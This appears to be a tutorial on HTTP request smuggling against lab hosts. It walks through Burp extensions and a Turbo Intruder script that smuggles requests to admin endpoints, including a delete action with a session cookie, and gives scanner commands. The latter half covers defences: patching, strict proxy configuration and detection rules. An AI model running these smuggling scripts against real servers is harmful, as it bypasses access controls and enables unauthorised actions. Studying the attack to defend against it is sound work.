The primary tool for identifying and exploiting HTTP request smuggling vulnerabilities.
- Open Burp Suite
- Go to Extensions tab
- Click BApp Store
- Search for "HTTP Request Smuggler"
- Click Install
Automatically converts request body to chunked format with correct hex chunk sizes.
POST / HTTP/1.1
Host: clte.htb
Content-Type: application/x-www-form-urlencoded
Content-Length: 17
param1=HelloWorld- Send request to Burp Repeater
- Right-click request
- Extensions → HTTP Request Smuggler → Convert to chunked
POST / HTTP/1.1
Host: clte.htb
Content-Type: application/x-www-form-urlencoded
Content-Length: 28
Transfer-Encoding: chunked
11
param1=HelloWorld
0
Note:
11hex = 17 decimal (length ofparam1=HelloWorld)
- Format request in chunked encoding
- Right-click request
- Extensions → HTTP Request Smuggler → Choose attack type:
- Smuggle attack (CL.TE)
- Smuggle attack (TE.CL)
Opens with pre-configured attack script.
Customize the prefix (smuggled request):
prefix = '''GET /admin.php HTTP/1.1
Host: target.htb
'''- Modify prefix as needed
- Click Attack button
- Wait for iterations (sends every ~1 second)
- Click Halt to stop
- Analyze response lengths
| Request # | Response Length | Meaning |
|---|---|---|
| 1 | 4618 | Normal index response |
| 2 | Different | Smuggled request response! |
| 3+ | 4618 | Normal responses |
Different response length on request 2 = Vulnerability confirmed!
def queueRequests(target, wordlists):
engine = RequestEngine(endpoint=target.endpoint,
concurrentConnections=1,
requestsPerConnection=10,
pipeline=False)
prefix = '''GET /admin.php HTTP/1.1
Host: %s
''' % target.baseInput.headers['Host']
# Attack iterations
for i in range(30):
engine.queue(target.req, prefix)
time.sleep(1)| Change | How |
|---|---|
| Different smuggled path | Edit prefix variable |
| Add headers to smuggled | Add to prefix string |
| Change timing | Modify time.sleep(1) |
| More iterations | Change range(30) |
| Add POST body | Include in prefix |
prefix = '''POST /admin/delete HTTP/1.1
Host: %s
Cookie: session=your_session
Content-Type: application/x-www-form-urlencoded
Content-Length: 10
user_id=1
''' % target.baseInput.headers['Host']Python-based automated scanner.
# Installation
git clone https://github.com/defparam/smuggler.git
cd smuggler
# Usage
python3 smuggler.py -u https://target.htbHTTP/2 cleartext smuggling tool.
# Installation
pip3 install h2csmuggler
# Usage
h2csmuggler -u https://target.htbFor precise control:
- Disable "Update Content-Length"
- Create tab groups
- Send in sequence (single connection)
| Challenge | Reason |
|---|---|
| Server-level bugs | Vulnerabilities in web server software, not application |
| Hidden behavior | Developers unaware of underlying quirks |
| Architecture complexity | Multiple systems parsing same requests |
| Legacy support | HTTP/1.1 specification ambiguities |
✅ Update web server software (Apache, Nginx, Gunicorn, etc.)
✅ Update reverse proxy software (HAProxy, Varnish, etc.)
✅ Apply security patches immediately
✅ Monitor CVE databases for new vulnerabilities
Why: Most smuggling bugs are fixed in patches.
✅ Fix client-side vulnerabilities (XSS in headers)
✅ Don't dismiss issues as "unexploitable"
✅ Consider smuggling as attack chain component
Why: Request smuggling can weaponize otherwise unexploitable bugs.
✅ Close TCP connections on any error/exception
✅ Don't reuse connections after parsing errors
✅ Implement strict request parsing
Why: Prevents desync from propagating to other requests.
✅ Enable HTTP/2 between client and server
✅ Disable HTTP/1.x if possible
✅ Avoid HTTP/2 → HTTP/1.1 downgrade
Why: HTTP/2 uses binary framing, eliminating CL/TE ambiguity.
# Reject ambiguous requests
proxy_http_version 1.1;
proxy_set_header Connection "";
# Strict parsing
ignore_invalid_headers off;# Strict HTTP parsing
HttpProtocolOptions Strict# Reject both CL and TE
option http-use-htx
http-request deny if { req.hdr_cnt(content-length) gt 1 }
http-request deny if { req.hdr_cnt(transfer-encoding) gt 1 }
❌ BAD ✅ BETTER
┌─────────┐ ┌─────────┐ ┌─────────┐ ┌─────────┐
│ HAProxy │ → │ Gunicorn│ │ Nginx │ → │ Nginx │
└─────────┘ └─────────┘ └─────────┘ └─────────┘
(different parsing) (same parsing)
Edge Proxy:
1. Validate request
2. Reject if both CL and TE present
3. Normalize headers
4. Forward cleaned request
✅ Log requests with both CL and TE headers
✅ Alert on unusual response patterns
✅ Track 400/405 errors that correlate with other requests
| Check | Action |
|---|---|
| Both CL and TE present | Block or normalize |
| CL with chunked body | Block |
| Multiple CL headers | Block |
| Multiple TE headers | Block |
| Malformed TE values | Block |
| Unusual whitespace in headers | Block |
HTTP/2 eliminates request smuggling because:
| HTTP/1.1 Problem | HTTP/2 Solution |
|---|---|
| Text-based parsing | Binary framing |
| CL/TE ambiguity | Stream-based length |
| Connection reuse issues | Multiplexed streams |
| Header manipulation | HPACK compression |
However: Be cautious of HTTP/2 → HTTP/1.1 downgrades at reverse proxy!
| Tool | Purpose |
|---|---|
| HTTP Request Smuggler | Burp extension for auto-exploitation |
| Turbo Intruder | Automated timing attacks |
| smuggler.py | Python scanner |
| h2csmuggler | HTTP/2 smuggling |
- 🔄 Update all proxy/server software
- 🔐 Patch all vulnerabilities (even "unexploitable" ones)
⚠️ Configure strict error handling- 🚀 Upgrade to HTTP/2 where possible